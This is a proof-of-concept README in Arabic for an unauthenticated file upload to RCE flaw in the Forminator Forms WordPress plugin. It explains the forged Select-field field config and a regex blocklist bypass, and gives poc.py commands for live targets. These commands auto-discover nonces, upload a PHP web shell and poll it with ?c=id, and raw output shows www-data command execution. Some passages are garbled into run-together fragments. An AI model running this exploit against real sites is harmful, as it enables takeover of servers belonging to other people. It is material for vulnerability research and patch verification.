
Forminator Forms <= 1.56.1 - رفع ملفات تعسفي بدون مصادقة عبر تكوين حقل رفع مُزيّف
CVSS 9.8 (حرجة) · المتأثّر: Forminator <= 1.56.1 · الإصدار المُصحَّح: 1.56.2
الباحث: daroo (برنامج مكافآت الثغرات من Wordfence، $2,048) · ~600 ألف تثبيت نشط
التقرير الفني: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
ثلاث نقاط ضعف مرتبطة ببعضها عبر قيمة مزوَّرة لحقل Select:
غياب التعقيم على مصفوفات الحقول المتداخلة — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() يمرّ على كل حقل مخزَّن. بالنسبة لحقل Select المخزَّن select-1،
$field_data = prepared_data['select-1'] (مصفوفة متداخلة يتحكم بها المهاجم). عندما تحمل
return، تُلحَق المصفوفة بـ field_data_array كاملةً دون معالجة (front-action.php ~السطر 1088)،
قبل أي تعقيم/تحقق لكل حقل. maybe_handle_custom_option() لا يزيل هذه الحقول.
إعدادات حقل غير موثوقة يُعتدّ بها عند الرفع — Forminator_CForm_Front_Action::process_uploads()
يمرّ على field_data_array، ويعتمد على field_type == 'upload' المزوَّر، ويستخدم name المزوَّر
لاختيار مدخل من $_FILES، ويمرّر field_array المزوَّر كإعدادات موثوقة إلى
Forminator_Upload::handle_file_upload().
تجاوز القائمة السوداء عبر المفتاح الحرفي — forminator_allowed_mime_types() يزيل المفتاح الحرفي php، لكن
wp_check_filetype() يتعامل مع المفاتيح كـ تعبير نمطي (regex). المفتاح ph(p) ينجو من القائمة السوداء
ومع ذلك يطابق لاحقة .php. additional-type = ph(p)|text/x-php يسمح لملف .php باجتياز التحقق.
يجب أن يحتوي النموذج المنشور على كلٍّ من حقل رفع الملفات وحقل Select. حقل Select هو مجرد ناقل.
.php عشوائي إلى القرص ينجح افتراضيًا (لا حاجة لإعداد خاص لعملية الكتابة)..htaccess الخاص بـ Apache. جذر Forminator الافتراضي والجذر المخصص
يحصلان كلاهما على .htaccess يحجب PHP (SetHandler none / RemoveHandler). يتحقق RCE فقط عندما يكون
ذلك .htaccess غائبًا — سيناريو «جذر تخزين مخصص يُنشأ أثناء طلب من الواجهة الأمامية حيث لا يكون
insert_with_markers() محمَّلًا» كما ورد في التقرير الفني..htaccess.wp-content/uploads/forminator/ ← الملف في
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (مثل cveuploads)، تُخزَّن الملفات في
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> هي wp_hash($form_id) — مشتقة من أملاح AUTH الخاصة بالموقع، لذا لا يمكن توقعها من الخارج.
يطبع poc.py نمط المسار؛ لإكماله يجب استعادة التجزئة (سرد الدليل، عنوان/سجل ملف مرفوع موجود، إدخال في لوحة الإدارة، إلخ) عبر --form-hash.wp_generate_password(12,false,false) . '-' . <original> ← مثلًا
cX3fRjMDDu03-shell.php (12 حرفًا أبجديًا رقميًا عشوائيًا + - + الاسم الأصلي).poc.pyمباشر-أولًا حسب التصميم؛ أدوات المساعدة الخاصة بالمختبر المحلي (فحص نظام الملفات، إزالة .htaccess) مقيدة
بـ http://wordpresslab.test / http://localhost فقط.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| الخيار | المعنى |
|---|---|
--target | عنوان الأساس (أو رابط الصفحة الكامل عند عدم وجود --page-id/إدخال يدوي) |
--page-id | معرّف المقال؛ إذا كان فارغًا، يُجلب رابط الهدف نفسه لاستخراج nonce/form_id |
--form-id, --nonce | تجاوز الاكتشاف؛ مع جلب الصفحة لحصاد --auto |
--upload-field | اسم حقل الرفع الحقيقي (الافتراضي upload-1) |
--forge-name | ناقل $_FILES المزوَّر (الافتراضي = الاسم الحقيقي، وضع التصادم؛ استخدم اسمًا مختلفًا للحصول على success=True نظيف) |
--select | حقل Select المراد استخدامه (الافتراضي select-1) |
--extra name=value | فرض قيمة لحقل (قابل للتكرار؛ --extra 'checkbox-1[]=a+b' لقيم متعددة) |
--auto / --no-auto | حصاد حقول النموذج الحقيقية من HTML وتعبئة قيم معقولة تلقائيًا حسب النوع (افتراضي: مفعّل) |
--upload-root | جذر الرفع النسبي (الافتراضي wp-content/uploads/forminator؛ اضبط مثلًا wp-content/uploads/cveuploads للجذر المخصص) |
--form-hash | جزء <hash> من دليل الرفع ← يكمل/يطبع رابطًا ملموسًا |
--verify-url | مباشر: استطلاع رابط شل مرشّح عبر ?c=id/?c=whoami |
--find-shell | محلي فقط (wordpresslab.test/localhost): إيجاد أحدث *-shell.php، إزالة .htaccess، تنفيذ |
--no-htaccess | طباعة ملاحظة إزالة .htaccess الخاصة بالمختبر المحلي |
--auto (المحصودة من HTML النموذج)| نوع الحقل | القيمة المُنشأة |
|---|---|
email / الاسم يحوي email | auto<rand>@mailinator.com |
tel / الاسم يحوي phone | 10 أرقام عشوائية |
url / الاسم يحوي url | https://example.com/<rand> |
number | رقم عشوائي بين 1–9999 |
date | 2026-08-19 |
مجموعة checkbox/radio name[] | قيمة الخيار الأول (تُفحص جميع المدخلات ذات الاسم نفسه) |
| checkbox/radio مفرد | خاصية value، والبديل checked |
<select> (غير ناقل) | أول خيار غير فارغ |
<textarea> | نص عشوائي |
| نص عادي | 10 أحرف عشوائية |
الحقول المُتخطَّاة: الحقول الداخلية (action/form_id/nonce/...)، وtype="file" (upload-*)، وselect-*
(ناقل الاستغلال)، وcalculation-* (محسوبة)، وحقول الإضافات الخارجية (wpforms[...]).
الإعداد:
build_form.php،
باستخدام واجهة Forminator_Form_Model API).forminator_custom_upload=1، forminator_custom_upload_root=cveuploads)
لإظهار RCE. cveuploads/ هو أثر مختبري، وليس إعدادًا افتراضيًا من Forminator.success=True نظيف، يجب أن يختلف name المزوَّر عن element_id لحقل الرفع
الحقيقي. الاسم المتصادم ما يزال يرفع الملف، لكن الحقل الحقيقي يشغّل أيضًا فحص mime الافتراضي الخاص به ←
يبلّغ الرد عن خطأ بينما تكون الشل موجودة بالفعل على القرص.الأدلة الخام (تشغيل مختبري):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — برهان مفهوم مباشر-أولًا (اكتشاف تلقائي، تعبئة تلقائية، verify-url، مساعد RCE محلي)build_form.php — مُنشئ نماذج مختبري برمجي (رفع + select) عبر واجهة النموذج APIREADME.md — هذا المستند.htaccess/index الخاصة بـ Forminator.